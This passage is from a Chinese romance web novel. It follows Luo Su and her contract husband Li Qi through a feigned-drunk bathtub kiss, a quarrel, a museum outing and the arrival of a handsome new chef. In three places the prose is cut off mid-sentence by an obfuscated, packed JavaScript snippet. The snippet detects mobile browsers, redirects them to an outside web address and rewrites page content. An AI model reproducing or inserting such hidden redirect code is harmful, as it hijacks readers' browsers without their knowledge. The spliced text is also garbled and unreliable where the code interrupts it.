黎祁心里涌起一股异样的感觉,眼眶竟有点发胀。从小到大,被欺负的时候要么忍耐,要么靠自己打回来,从来没有人挡在他前面。更没有人维护过他的尊严,似乎他并没有那样东西,也不会被伤害。他知道洛苏这声“老公”其实很清醒,她根本没有喝醉。 王皓深吸一口气,不敢置信地看着黎祁:“你,是她老公?” 现如今,“老公”这个称呼并不代表法定关系,情到浓时,他也曾是很多女人的老公。 黎祁正要说话,怀里的人突然脚下一崴,身子往下滑,幸好他眼疾手快,双手一捞,把她牢牢圈进怀里,姿态比刚才更加亲密。她的头就埋在他的颈窝,嘴唇不时擦过他的脖子,呼出的气混合着酒味、香水味还有她身上原本带的体香,他觉得有点闷,有点喘不过气,只得微微撇开头,对王皓点点头,算是默认。 周围传来窃窃私语和低低嘲笑。两男争一女的戏码并不少见,但是勾搭已婚妇女显然是为人不耻的,这种事暗地里做就得了,拿到台面上还让正主现场抓包,简直是丢人丢到家。更重要的是,这么一个大美女宁可选没钱的也不选明显看起来更有钱的,这不得不让人猜测是不是有什么别的不可告人的原因。看向王皓的目光就多多少少带着些困惑和了然。毕竟,对男人来说只有一样东西是金钱弥补不了的。 “你老婆你让她随便出来跟男人喝酒?”王皓气得面目扭曲,想维持风度又实在做不到,只得半笑不笑,看起来又滑稽又可怜。他根本不相信洛苏是眼前这个哪哪都不如他的人的老婆。 黎祁忍不住笑了笑,这种恶俗的感情戏码,他读书的时候见得太多了。小孩子通常会选择用拳头解决问题,可他是成年人,不屑更没必要。 “她故意找你气我,这不是很明显吗?谢谢你的配合,让我知道原来她这么在乎我。”黎祁耸耸肩,满意地看到王皓的脸从白变青。他其实很想把这个死变态揍一顿,但是不值得,能气气他也好。 怀里的醉美人儿适时地扭一下身子,看起来有些难受,声音含糊不清但又足以让周围人听见,“老公,我难受……” 语气娇嗔可爱,像极了情人间的私密话,让人听了脸红耳热。 黎祁感到脸有点发烫,干脆俯身把她抱起来,在众目睽睽之下离开了酒吧,只留下呆若木鸡的王皓和看得津津有味的吃瓜群众。 洛苏满意地靠在黎祁怀里,嘴角忍不住上扬。施蜜这个狗头军师的判断对不对就要看接下来的试验了。 “滴滴”房门被关上,洛苏还没反应过来就被人重重扔到了床上。疼得她一个激灵,差点破功。但现在还不是清醒的时候。 “装够了吧?”黎祁站在床边,冷眼看着床上浑身泛红的人。 没人回答他。 “呵——”他冷笑一声,走近点弯下腰,语气少有的温柔,“需要我帮你醒醒酒吗?” 还是没人回答他。 “行,你等着。” 脚步声朝洗手间去了。洛苏偷偷睁开眼,洗手间的门半开着,“哗哗”的水声传来。死白豆腐要怎么帮她醒酒?听声音他好像在放水,难道要把她扔到浴缸里面?她闭上眼,开始思考对策。不管过程如何,结果都得按照她预设的来,所谓条条大路通罗马,山不就我,我就山呗!浴缸就浴缸!地点不重要! 过了一会儿,她听到黎祁出来了,浓烈的热气笼罩住她,她又回到了熟悉的怀抱。还没做好准备,整个人就被扔到了圆形按摩浴缸里。 该死的白豆腐,居然放的是冷水!洛苏冷得一哆嗦,趁黎祁还俯身等着看她笑话,索性装到底,反正是醉鬼干的,醒了她可以死不承认。双臂一伸,用力环住他的脖子,仰起脸迎了上去。 黎祁毫无防备,唇已经贴到一个柔软温热的东西,慌乱间他跟着跌进了浴缸。 水花溅起,打湿了他一张脸,紧接着衣服也湿了。 洛苏打定主意要装醉到底,她的衣服湿透了,他也别想独善其身,倾身上前,用身体堵住了他逃跑的可能。身体贴着他的,嘴唇封住他的,看他的嘴还硬不硬。 洛苏第一次接吻,动作稍显笨拙,但胜在满嘴蛮力,黎祁躲,她就追,眼睛微眯,准确捕捉他所有动向,像个不达目的不罢休的死变态。 她的胳膊被他捏得生疼,一开始是推拒,渐渐的她感觉不对劲了,往外推的力道慢慢变成了揉、捏,好像要把她捻碎。嘴上的抗拒闪躲也变成了迎合甚至进攻,她逐渐感到有些力不可支,捏她胳膊的手不知什么时候悄悄转移到了腰上,把她搂得紧紧的,手心滚烫似火,后脑勺被另一只大手禁锢着,攻守乍然异势,她开始有点想逃,可他不允许。 原本只是贴在一起的唇瓣之间也加入了新的角色,舌头。她很生疏,还没反应过来,就感到一条滑滑的舌头钻进了她的嘴里,搅动风云,翻起波涛汹涌。她用舌头推他,反而引来他更强烈的进攻,她想逃,又被他卷得无处可逃,仿佛这唇舌纠缠至死方休。 她有点喘不过气,身子微微后仰,想脱离他的掌控,可刚刚扭开头喘息了一下,又被他更大力地带向他的方向,她只得无力地撑着他的胸口试图拉开一些距离。可湿透的衣服贴在身上黏黏的冷冷的,又让她本能地想往火热的地方靠近。 这感觉很陌生,但又令人上瘾。她晕乎乎的,像在坐云霄飞车,一会儿被他抛上高处,一会儿又落到地面,上上下下,浮浮沉沉,直到两人都气喘吁吁,她终于勉强离开他的唇,伏在他肩头直喘气。 “白豆腐,这是什么?”洛苏吃吃笑了一声,她终于知道有什么东西是比他嘴更硬的了。 突如其来的触碰让黎祁浑身一颤,猛的把怀里的人推开了。他没想到她竟然这么大胆,那异样的触感让他感觉像被电了一下,差点控制不住。 洛苏不装醉了,见他满脸通红,像个登徒子那样蹭上去,指尖从他脸上划过:“你脸红什么?” 太稀罕了,没想到这年头还有男人会因为这个脸红。洛苏感觉自己捡到了宝,经验丰富、油嘴滑舌的男人太多了,她不稀罕。 “你,手别乱摸。”黎祁打开她的手不看她,坐在那一动不动,表情局促尴尬。 “你刚才没摸吗?”洛苏不服。 话音刚落,黎祁的脸更红了。 他懊恼地看她一眼。刚才那个人好像不是他自己,明明只是想逼她不再继续装醉,怎么反而把自己陷进去了,她的酒倒是醒了,可他好像又醉了。她在他怀里的时候,他的手好像不受控制,理智告诉他要保持距离,可他的手不听使唤,她的腰很细,但抱着很舒服,有微微的肉感。她的嘴唇也很软,还很甜,他不需要学习,就无师自通地学会了怎么采撷她唇舌的滋味。 “白豆腐,你是不是吃醋了?”他的白衬衫湿透贴在身上,隐隐透出肌肉的形状。腹肌在水下若隐若现,洛苏一不做二不休,坐到他腿上,手抚上他的腹肌,诱惑般凝视着他闪躲的眼睛。明明是无比强壮的身体,但此刻面红耳赤、手足无措,好像她才是那个偷香窃玉的采花贼。 腿上柔软温热的触感让黎祁一惊,然后慌了。他把她从身上推下来,闭上眼,深呼吸几次,然后睁开眼看着她:“对不起,刚才是我冒犯了你。” 吃完抹抹嘴不认账? 洛苏目瞪口呆,为什么死白豆腐的剧本永远和她的对不上? “我向你道歉,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛苏干脆放热水泡澡。虽然被白豆腐气到了,但今天也不算一无所获,起码她知道了,白豆腐看着冷漠吻技还挺不赖,有那么一会儿,她想就这样一直吻下去,直到晕倒在他怀里。 她一边泡澡一边哼着小曲给施蜜发消息。 “初步达成目标。” “!!!睡到了?”施蜜很激动地发了一连串表情包,上蹿下跳,简直像她赢了一样。 “亲到了离睡到还远吗?” “切——一字之差缪以千里。” “慢慢来,心急吃不了热豆腐。” “行,爽吗?” 洛苏看得大笑,施蜜讲话真够直接的。她听到房间里黎祁轻咳了几声,似乎在对她的大笑表达不满。 “还不错,他挺会亲的。”洛苏忍不住露出甜笑,摸了摸嘴唇,好像那强烈的压制和极致的纠缠还在。 “摸了吗?” 洛苏脸红,施蜜真是什么都敢问。 “???死了?怎么不回话?” 洛苏硬着头皮回她:“摸了。” “怎么样?” …… 我去,这也问?洛苏无语。但她知道她要是不回消息,施蜜肯定要夺命追魂call,直到知道答案为止。 她只得老老实实回想当时的感觉,斟酌字眼。 “还行,挺大。” “???大?”正在做SPA的施蜜拿着手机皱眉不解,腹肌很大?不是应该说几块吗? 洗手间热气蒸腾,洛苏舒服得快睡着了。按摩浴缸力道舒缓,水“汩汩”地扑在身上,有点痒有点麻,特别解乏。手机铃声突然响起,把昏昏欲睡的她吵醒了。 “死茄子你出息了啊,都摸到那里了,还跟我装!” 33. 下次一定 洛苏干脆把手机朝下静音,眼不见为净。托施蜜的福,她是理论王者,但毕竟实践方面是青铜,施蜜那些话饶是她都觉得不堪入目。 “握得住吗?” “滚!” “你那小手不超过18㎝。” “………” “老娘的眼睛就是尺。” “说得你跟透视眼一样。” “差不多吧。还有很多判断方法,鼻子、手……” “我可以不听吗?” “长度围度硬度缺一不可。姐姐教你的都是干货,好好学!” “谢谢您老,我还小。” “你小不要紧,他大就行。” …… 洛苏再次爆发出一阵大笑。外面的咳嗽声如约而至,听起来比上次更严肃,似乎对她的猖狂感到很愤怒。 洛苏止住笑,真的忍不住开始按照施蜜的干货进行对比。她举起自己的手仔细看,她的手很白,没什么肉,指节分明,手指细长,但并不是一双没有干过活的手。 没有尺,她没法判断自己的手指到底有多长,突然想起一个现成的方法,于是拿起手机和自己的手比了比。 嗯,挺不错。 她突然体会到古代纨绔浪荡子调戏良家女子的快乐了。 天色越来越暗,洗手间的落地玻璃印出外面一望无垠的大海,浪花翻滚,潮声涌动,来自大自然的声音很催眠。 酒精开始发挥效力,洛苏觉得眼皮越来越重,困意强烈袭来。 “喂,你还没好吗?你是打算今晚睡浴缸吗?” 黎祁站在洗手间门口,仔细听着里面的动静。从他出来到现在已经过了半个小时了,里面悄无声息,除了两次得意的笑声,他简直有点怀疑里面到底有没有人。 没人回答他,只有浴缸按摩喷水的声音。 他清清嗓子,提高了音量:“洛苏,你还好吗?” 依旧是静默。 他的心脏突然猛烈跳了几下,手放到门把手上,大声问:“你没事吧?” 他不敢贸然进去,担心这是洛苏的阴谋,骗他进去,谁知道她现在是什么造型,他不想受到惊吓,更怕自己会做出一些不该做的事情。 只有他剧烈的心跳声回荡在胸腔里。没有人回答他。 “我进来了啊!”黎祁慢慢打开门,不敢乱看,视野随着门缝逐渐扩展。室内水汽几乎散尽,洛苏靠在浴缸沿上,黑色长发像海藻一样垂在浴缸外面,黑白相间,极其耀眼,她的红色吊带裙随意放在一旁的置物架上,黑色内衣突兀地躺在一团红色里,他没办法视而不见。 黎祁喉头一紧,不知道该不该过去。 “你,没事吧?” 洛苏一动不动,仔细听好像连呼吸都没有了。 黎祁心一慌,顾不上别的,大步走过去,水中风光一览无余,他扭开头尽量不去看。水里的人脸上泛着不正常的潮红,双眼紧闭,有气无力地摊在水里,像个失去生命力的破娃娃。 黎祁俯身,手穿过她腿弯,一把将她从水里抱了出来。 第一次见到有人泡澡泡得晕过去。黎祁感到又好气又好笑,却还是细心地帮她把身体擦干,然后给她盖好被子,本想去楼下便利店买巧克力,但又不放心留她一个人在房间,只得点了客房服务,选了能快速提升血糖的蛋糕和电解质水。 洛苏感觉头晕眼花,眼皮重得打不开。恍恍惚惚中,好像有人把她从冷水里捞出来,紧接着身上一暖,感受到强烈的炙热,然后她被人小心翼翼地放进了被子里,温暖而干燥,身体的力气开始慢慢恢复,可还是晕得厉害。过了一会儿,她听到门铃响了,门开了又关,接着她就靠在了一个结实火热的胸膛里。 “张嘴,喝点水,你低血糖了。”声音是她从未听到过的耐心和温柔。 她努力张开嘴,清凉微甜的水滑下喉咙,慢慢唤醒了她全身的细胞,她睁开眼,对上了一双晶莹深沉的眼眸。她甚至在里面看到了自己的影子。 她又喝了几口水,全身的力气终于渐渐恢复了。可靠在他怀里很舒服,她不想起来。 “好点了吗?想不想吃点东西?”黎祁放下水,指指床头的蛋糕。 洛苏像个乖孩子一样点头。黎祁看起来很会照顾人,喂得不疾不徐,不催她,耐心等她完全咽下去才喂下一口,每一口蛋糕也不敢挖太多,好像生怕她呛到噎到。 这是她从来没有见过的白豆腐。 如果她真的是个孩子,会想要一个这样的爸爸。小时候她生病,洛玉柱就是这样照顾她。哪怕心里再着急,脸上也从来不表现出来,总是耐心温柔和疼爱。 一个没有父母的孤儿,靠自己成长为一个自立自强、脚踏实地又善良正直的人。洛苏心里突然涌上一股强烈的心疼,她心疼黎祁。明明没有体会过父爱和母爱,身上却总有这样闪闪发光的细腻温柔时刻。亲密关系恐惧症,可能不是恐惧,而是渴望,却害怕不可得。 吃完一个蛋糕,洛苏感觉彻底恢复了,虽然还有点头晕,但那种恶心想吐、浑身发冷的感觉消失了。五感全部回来,她才发现她没穿衣服,一件都没穿。 黎祁起身扔垃圾,猛然听到身后传来一声娇叱。 “死白豆腐!你……你是不是……”洛苏说不下去。 这进度完全超出了预期。虽然她的目标是吃到热豆腐,但裸裎相对还是太快了点。她认为得按照她的节奏一步步来,每个环节都不能缺少。 “是什么?”黎祁回身,好整以暇地看着缩在被子里的人,半个白玉般的肩膀露在外面,发丝随意散落在肩头,脸色发白,看起来楚楚可怜。 “你是不是看到了?”洛苏有点明知故问。 “嗯。”黎祁轻哼,没好气地睨她一眼,靠在沙发背上闭目养神。 “你不能闭着眼睛吗?”见他承认得这么果断,洛苏有点恼羞成怒。她对自己的身材还是挺有自信的,但黎祁表现得这样轻飘飘的,好像完全不屑,这令她生气。 “好,下次一定。” “你——”洛苏气结,但现在她不着寸缕,处于弱势,只得忍气吞声,“那个……帮我拿一下衣服。”虽然亲都亲过了,可是让他触碰自己的贴身衣物,洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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衣服上还带着淡淡香味,他的鼻子很敏感,这是洛苏的气味,刚才她躺在他怀里的时候,还有之前在浴缸里抱着她的时候,都闻到过这个气味。 他扭开头不看这些奇奇怪怪的东西,衣服上的蕾丝边好像扎手,“白色?” “嗯。”洛苏憋住笑,很想跳起来把他奚落一番。 “放你旁边了。”声音由远及近,又很快由近及远,洛苏听到洗手间的门关上了。 她掀开被子无声大笑。快速穿好衣服,黎祁才从洗手间出来,他洗了澡,头发看起来蓬蓬的,整个人没那么严肃冷漠了。 “晚安。”他关了灯,躺到沙发上。 十分钟后,洛苏娇弱无力的声音在黑暗中响起,“白豆腐,我冷。” 黎祁起身把自己的被子盖在洛苏身上。两床被子够暖和了吧,他咬牙切齿地想。 又十分钟后,“白豆腐,我渴。” 黎祁起身倒了一杯电解质水放在她手边。 再十分钟后,“白豆腐,我晕。” 黎祁直挺挺坐起来,大步跨到床边,把被子拿走、躺下、盖被子,动作一气呵成。 “有完没完?”黎祁看着天花板,觉得有些话必须得说清楚了。 “我不是个随便的人,不会和不喜欢的人上/床,如果你因为我是你老公就觉得我们可以轻易发生关系,那我们可以离婚。” 34. 臭豆腐 洛苏这次是真的生气了。她一向自诩不是小气的人,可这次她没办法不生气。 因为他说,他不喜欢她。 洛苏第一次知道,原来被人直截了当地说出“不喜欢”这三个字是这么难受。自尊被踩在脚下还不够,他还用力碾了碾,直到一地残渣。 接下来的几天,洛苏没有再主动跟黎祁说话,任他睡在沙发上,两人似乎回到了最初认识的状态,戒备、抗拒乃至抵触。 洛苏有点弄不清楚是哪一步出了问题。她以为近半年的相处,她已经多少对黎祁有些了解,老字号大赛的时候他们合作无间,携手获奖。假结婚两个月来,也算合作愉快,相安无事。她以为,黎祁至少是有一点点喜欢她的。他看不惯王皓,在浴缸里他明显反客为主,如果这些不是喜欢,那是什么? 她想不通,也不好意思跟施蜜报告进展受挫,干脆每天一个人去市区闲逛。海洋公园、美术馆、科技馆全逛了个遍,最后一天,她准备去博物馆。 收拾好东西,在酒店门口等接驳车。上午十点的太阳晒在身上已经感觉火辣辣的,她忍不住擦了擦脸上的汗,抬手间,身边悄然投下一片阴影,挡住了炙热的阳光,伴着徐徐海风,马上凉快了不少。 洛苏隔着太阳眼镜,冷冷白了身边人一眼,然后往旁边挪了挪,站到阳光下。 阴影也跟着挪了挪,直至恰好挡住照在她身上的光线。 洛苏索性不躲了,坦然享受这片人造阴凉,反正又不是她主动的。 车来了,洛苏挑了背光的那一边坐下就开始闭目养神。她已经打定主意,绝对不会主动说话。 车辆摇晃催人入眠。 “醒醒,到了。”不知道过了多久,洛苏感觉肩膀被人轻轻拍了拍,声音近在咫尺,热气在耳廓里打旋,她觉得耳朵有些发麻。 迷迷糊糊睁开眼,恍然以为还在房间,这一幕和每天早上极其相似,她对上一双清澈漆黑的眼眸,熟悉的眉眼,表情竟有些温柔。她立马撇开视线,坐直身体,自觉忽视刚才的人肉枕头,起身下车。 岛城的城建十分干净工整,街道宽阔整洁,白蓝相间依海而建,给人来到了爱琴海的错觉。 洛苏很开心,拿出手机准备在博物馆门口打卡留念。她不擅长自拍,又嫌麻烦没带自拍杆,怎么拍都觉得差点意思。好看的照片没几张,倒是被太阳晒了满头汗,整个人有些狼狈。 “要不要我帮你拍?”黎祁看不下去,好心提议。 “你谁啊?我认识你吗?”洛苏收起手机,狠狠白他一眼,拍照的心情也没了,径直往博物馆里走,外面实在太热了。 黎祁被她怼得一愣,无所谓地耸耸肩,大步跟上去。 洛苏听到身后熟悉的步伐,果断加快脚速度啊。可后面的人也跟着加快了步伐,她放慢脚步,他也慢下来,她去哪儿,那脚步就如影随形。来来回回几次,洛苏忍无可忍了。 “你干嘛跟着我?”她杏目圆睁,质问身后的人。 “谁说我跟着你了,难道这条路是你的,只能你走?”黎祁也不生气,手插在兜里一副悠闲模样,嘴角甚至还带着少见的笑意。 洛苏被他噎住,这话听着有些耳熟。 “笑话,天大地大,只要不是私人地方,谁都能来。我又没跟着你,难道这条路是你的,只能你走?” 他们第四次见面的时候,她跟着他到棚户区,他让她不要跟着他,她当时就是用这句话堵了他的嘴。没想到他还记在心里,真是个小气鬼! “算你狠!”洛苏甩下一句狠话扭头进了洗手间。不是想跟吗?跟吧! 她故意在洗手间磨蹭了十来分钟才出来,门口只有寥寥几个来往的游客,那个熟悉的身影已经不见了。洛苏心里突然感到一阵空落落,片刻后又自我安慰,没有死白豆腐跟着才好呢,想去哪就去哪! 岛城博物馆有她一直想一睹为快的《太行晴雪图轴》,学美术的人总不想错过这些名家真迹,江城雪少,更没有太行山这样的险峻风光。洛苏直奔目的地,果然不出所料,展柜前围着一圈人,她被挤得东倒西歪,也没近距离看上一眼。 洛苏感到有些扫兴,只得顺着人潮往前走,旁边反方向人流如织,几个大学生模样的人从她身旁挤过,肩膀被撞得生疼,她回头想找到那个罪魁祸首,可眼前密密麻麻的人影,根本无从找起。正感叹今天不宜出门,后面不知道是谁推了她一下,她整个人向前倒去。 “我靠!”摔倒前,洛苏骂了一句。 可迎接她的不是博物馆冷冰冰硬邦邦的地面,是温暖结实但同样硬邦邦的胸膛。 洛苏没好气推开黎祁,“干嘛?光天化日之下耍流氓?” 两人停在人来人往中,突兀而诡异,不时有人侧目而视。 黎祁不习惯这样被人关注,抬手拉住洛苏手腕,也不管她愿不愿意,走到角落里。 洛苏甩开他,“别得寸进尺啊!” 黎祁抱着手臂,觉得洛苏的脾气有点没道理。“没有我,你就跟地面亲密接触了,然后可能被人踩上几脚,我没要求你感谢我,你倒恶人先告状?” “男女授受不亲,我不是随便的人,不想跟不喜欢的人有身体接触。如果你觉得我是你老婆就可以随便跟我拉拉扯扯,那我们可以离婚。” 说完这番话,洛苏心里爽翻了天。她憋了好几天,始终对黎祁把她的定义为“不喜欢的人”耿耿于怀。凭什么我是你不喜欢的人?好像我很喜欢你一样?你也是我不喜欢的人!谁也别喜欢谁! 黎祁挑眉,点点头,“有道理。根据协议,只有你才能提出离婚,我可不可以当做你刚才的话是这个意思?” 洛苏知道他的言外之意,离婚就可以名正言顺跑路,现在距离一年之期只有半年,可她还没有找到合适的厨师。 “想离婚?看我心情。”洛苏决定把无赖耍到底。 “所以你的意思是你暂时不想离婚?”黎祁认真问。 “是又怎么样?”洛苏突然有点烦躁,黎祁开口闭口离婚,好像他已经完全等不及一样。这让洛苏感到挫败和焦虑。 “既然你不打算离婚,那么我作为你的合法老公在特殊情况下,出于善意和你发生肢体接触,是不是符合协议?” 又是“特殊情况”,洛苏有点语塞,她早就知道黎祁只是不爱说话,但没想到他这么伶牙俐齿,连她都说不过他。 洛苏气急败坏横他一眼,自顾自走了。打不过我跑还不行吗? 博物馆的院子里有许多卖纪念品的小摊,洛苏一家一家看过去,都是些冰箱贴、手机壳、书签之类的小玩意,和江城的博物馆没什么区别,她有些兴致缺缺,正打算空手而回,一个简陋的摊位引起了她的注意。小摊不卖那些千篇一律的东西,卖的是各色各样的海螺和贝壳,旁边一张小桌上摆着些丙烯颜料。 老板是个年轻女孩,见洛苏感兴趣,马上热情介绍:“小姐姐要不要手绘一个?如果不会我可以帮忙,也可以自己画,颜料免费提供。” 这才是有岛城特色的东西嘛,洛苏来了兴致,选了一个最大的海螺,坐在遮阳伞下的小凳子上就开始调色。 老板见她轻车熟路,显然是内行,由衷夸道:“你画得好漂亮。” 洛苏手巧,没用太长时间,那个白色海螺就成了一幅画,仔细看是蓝色海面,几点浅浅白色像粼粼波光,最妙的是她根据海螺的形状,直接把顶端的凸起分成几个层次,依稀可以看出起伏的山坡,山顶的红顶小屋,还有房子周围掩映的绿色丛林。一派生机勃勃的滨海世外桃源风光,宁静和谐、令人向往。 老板拿着海螺看来看去,爱不释手,差点不想卖了。旁边小男孩看到洛苏画得这么好,嘴甜地央求:“大姐姐给我也画一个吧,我也想要这个。” 小孩的家长也觉得洛苏画得漂亮,爽快付了钱,不好意思地说:“能不能请您帮个忙?” 不会画画的人可能觉得不容易,但对洛苏来说不过几分钟的事,反正她也没事,就答应了。帮忙选了一个适合作画的海螺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15207671|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就认真画起来。不过几分钟,一副海底世界就诞生了,小男孩乐不可支,捧在手里看个不停。 围观的小孩越来越多,都嚷嚷着要洛苏帮他们画贝壳,他们和她的学生差不多年纪,一双双清澈的眼睛乞求地望着她,洛苏不好意思拒绝,让他们排好队,挨个画起来。 黎祁站在人群外感到有些不可思议。这是他第一次看到洛苏画画,她显然已经不生气了,嘴角带着温柔的笑意,认真专注,耐心地询问每个小孩子的要求,偶尔还会摸摸某个小孩子的脑袋,说些鼓励的话。然后笑眯眯地把画好的贝壳或者海螺展示给他们看,脸上带着孩子气的炫耀,又像个雄赳赳气昂昂的孩子王。 黎祁突然理解洛苏为什么会选择当小学老师了。她自己有时候就是个孩子,他们脸上的纯真和懵懂如出一辙,还有那副天不怕地不怕的冲劲。那都是属于孩童的,是他从来不曾有过的。 老板喜笑颜开,要不是洛苏,她这些东西不知道要卖到什么时候才能卖完。殷勤地买来饮料,巴不得洛苏晚点再走。 洛苏很久没这么认真地画画了,手有点酸,甩了甩,豪气地说:“老板,剩下的这些我买了,不过我要画完再走。” 老板大喜过望,爽快地打了个折,任洛苏自己画。 洛苏想把这些海螺和贝壳作为奖品送给表现好的学生,因此画得更认真,也更慢,浑然不觉太阳渐渐西移,原本能遮住阳光的遮阳伞已经失去了防晒的作用,她没觉得晒,因为始终有一片阴凉专属于她。 终于画完了,她伸个懒腰,发现黎祁一直默默看着她。见她发现,他慌忙移开视线,看向远处的人群。 洛苏心里窃喜,但脸上不露,明知故问:“咦,你怎么还在?” 黎祁看着她手上的贝壳,眸光发亮,“你……能不能帮我也画一个?” 洛苏想笑,没想到黎祁这么一个大男人也喜欢这些东西,但脸上却装得很严肃,“行啊,你想要什么样的?” 黎祁想了想,有些不确定:“星空?你能画吗?” 洛苏还以为他会提什么高难度的要求,轻松地摆摆手:“小擦一碟。” 这个海螺她画得比前面每一个都认真,湛蓝的天空,点点星子有明暗区分,一弯峨眉月温暖明亮,像极了她的笑眼。 见黎祁拿着看来看去,明显很喜欢,她有些得意,迈着大步,像个得胜的将军那样回到酒店。 最后一晚,得益于那些漂亮的小玩意,两人终于破冰,黎祁主动打开空调,睡到床沿。 洛苏把被子在床中间垒成一条凸起的界限,提醒他:“咱俩井水不犯河水,我不是个随便的人。” 黎祁被她的小动作气得想笑,点头应和:“我知道,你不是个随便的人。” 洛苏瞪他一眼,离他远远的。 回江城的飞机是中午到的,装修已经结束,洛苏迫不及待准备大干一场。 本以为大家会热情迎接他们,没想到只有冬瓜和老豆出来帮他们拎东西,菜菜和丸子不见人影,连洛玉柱和苏爱云都无影无踪。 老豆解释:“老板和老板娘去结账了,快来看看怎么样。” 整个宝庆楼焕然一新,原本脏污的墙壁变得雪白,贴上了些古朴的画框,老旧的桌椅也换成了颇有质感的做旧风方桌,厨房和大堂相连的墙壁敲掉了一部分,镶了一面干净厚实的玻璃,厨房的一举一动尽收眼底。 洛苏看到玻璃对面菜菜和丸子围着一个高个子男人说个不停。男人穿着雪白的厨师服,没戴厨师帽,乌黑的发尾微微带点卷曲,像个浪漫的艺术家,面对菜菜和丸子他没有丝毫不耐烦,始终微笑着听她们说话,眼尾微微挑起,眉目精致。但洛苏分明看到他抬眼,透过玻璃看了她一眼。那一眼,像春日桃花,带着几分漫不经心随意绽放,却灿烂了整个春天。 好漂亮的男人! “他是谁?”洛苏拉住老豆。 “哦,赵青方,新来的厨师。” 洛苏哑然失笑,青方?臭豆腐? 35. 你知道的太多了 洛苏见过很多帅哥,但还是第一次看到长得可以用“漂亮”来形容的男人。 一双桃花眼未语先笑,完全没有帅哥的高傲和冷漠,甚至有着男人身上很少见的亲和力,让人自然而然地想靠近他。 洛苏隔着玻璃打量他,他也在肆无忌惮观察她,丝毫没有被人注视的不快和局促。 洛苏移开眼,对老豆说:“什么时候招了新厨师?他那个样子,会做饭?” 老豆似乎早就料到洛苏会这么说,笑呵呵地说:“不算招,是他自己找上门的。你别看他一副花花公子的模样,做的菜还真不赖。酥酥,可不兴以貌取人喔。”老豆说着又看了黎祁一眼,“咱小黎长得也帅,还不是厨艺一流。” 身后传来一声冷哼。 老豆冲里面招手,那个叫赵青方的男人就走了出来。 洛苏这才发现他长得也很高,和黎祁差不多。哪怕穿着厨师服都像走T台的男模,姿态挺拔,表情却带着淡淡的玩世不恭。 “你好,我是赵青方。”他对洛苏伸出手,笑容和煦,垂下看她的眼神裹着一丝惊喜。 “你好,洛苏。”洛苏不确定是不是错觉,感觉手被微微捏了捏。她不着痕迹地松开,对这个男人心生几分警惕。 “这位是?”他转向洛苏身后的黎祁。 洛苏刚要介绍,黎祁主动说话了。“黎祁。” 两个人对视一眼,不约而同地撇开视线,手轻轻碰了碰,就都飞快地缩回去了。 “久仰大名……”赵青方率先开口。 黎祁面无表情瞟他一眼,并不回答,默默提起行李箱上楼。 赵青方的视线却明目张胆地跟着他的背影,直到他的身影消失在楼梯转角处。 老豆见他一脸疑惑,摆摆手:“小黎是我们的大厨,也是酥酥的老公,所以住楼上。” 赵青方恍然大悟地“哦——”了一声,意味深长地看着洛苏。 洛苏突然感觉脸上一阵发热,这还是第一次有人以“老公”的身份来介绍黎祁。她扯了扯包带,冲赵青方点点头,也准备上楼。 可赵青方就站在楼梯口,完全没有让开的意思。 洛苏用眼神示意他,他回以热情的微笑。洛苏只得往右边挪挪,暗示他让让,可他也往同一边挪挪。洛苏看他明显是聪明人装糊涂,索性轻轻扒拉他一下,语气有点生硬:“麻烦让让。” 见她有些不高兴了,赵青方一点也不感到抱歉,反而笑得更灿烂。 “酥酥生气原来是这个样子。” 洛苏回头瞪他一眼:“谁准你叫我‘酥酥’的,小心我扣你工资!” 赵青方耸耸肩,无所谓地笑:“好啊,叫一次扣多少?” 洛苏不理他,转身走了。 后来洛苏才知道赵青方为什么这副泼皮无赖样。因为他根本没有工资。 “爸,那个赵青方什么来历,不要工资你也敢用?”洛苏才不相信天下有免费的午餐。 “他自己找上门的,说是不要工资,就想找个餐馆检验一下厨艺,我看他就是本地人,看起来也不是什么坏人,就同意了。他做菜真的还不错,晚上你试试就知道了。”洛玉柱也觉得自己这事做得有点离经叛道,眼神闪躲不敢看女儿。 “找餐馆练习厨艺?那么多餐馆怎么就找到我们家了?”洛苏的直觉告诉她,这个赵青方不是省油的灯。 “咱们好歹是百年老店嘛,你可别小看人家,他和小黎一样,也是高级中式烹饪师呢!” 黎祁发出一声几不可察的冷哼。女人或许不了解男人,但男人看男人,一看一个准。这个赵青方,显然不是真的只是来练习厨艺的。但他不想说,也不想打击洛玉柱,而且由他说,倒好像他心胸狭窄不能容人一样。 “那他准备干多久?别是随便玩票,干几天就跑路吧?”赵青方那身衣服一看就不便宜,洛苏怀疑他是不是哪家的少爷出来体验生活,玩几天腻了就走人,到时候留下烂摊子还得他们收拾。 “这你放心,我都跟他说好了,他起码干半年呢,再说我也不会真的一分钱不给他,起码按外面学徒工的工资给他开,你放心!” 晚餐是赵青方做的。洛苏见丸子和菜菜都一脸期待,也有些好奇。这一套剧情她觉得有点眼熟。 对了,当初黎祁刚来的时候,她们也是这样翘首以盼。不过现在新人胜旧人,她们的注意力从黎祁身上转移到了赵青方身上。想到这里,她突然觉得很畅快,简直想仰天大笑。白豆腐啊白豆腐,没想到你也有失宠的一天。 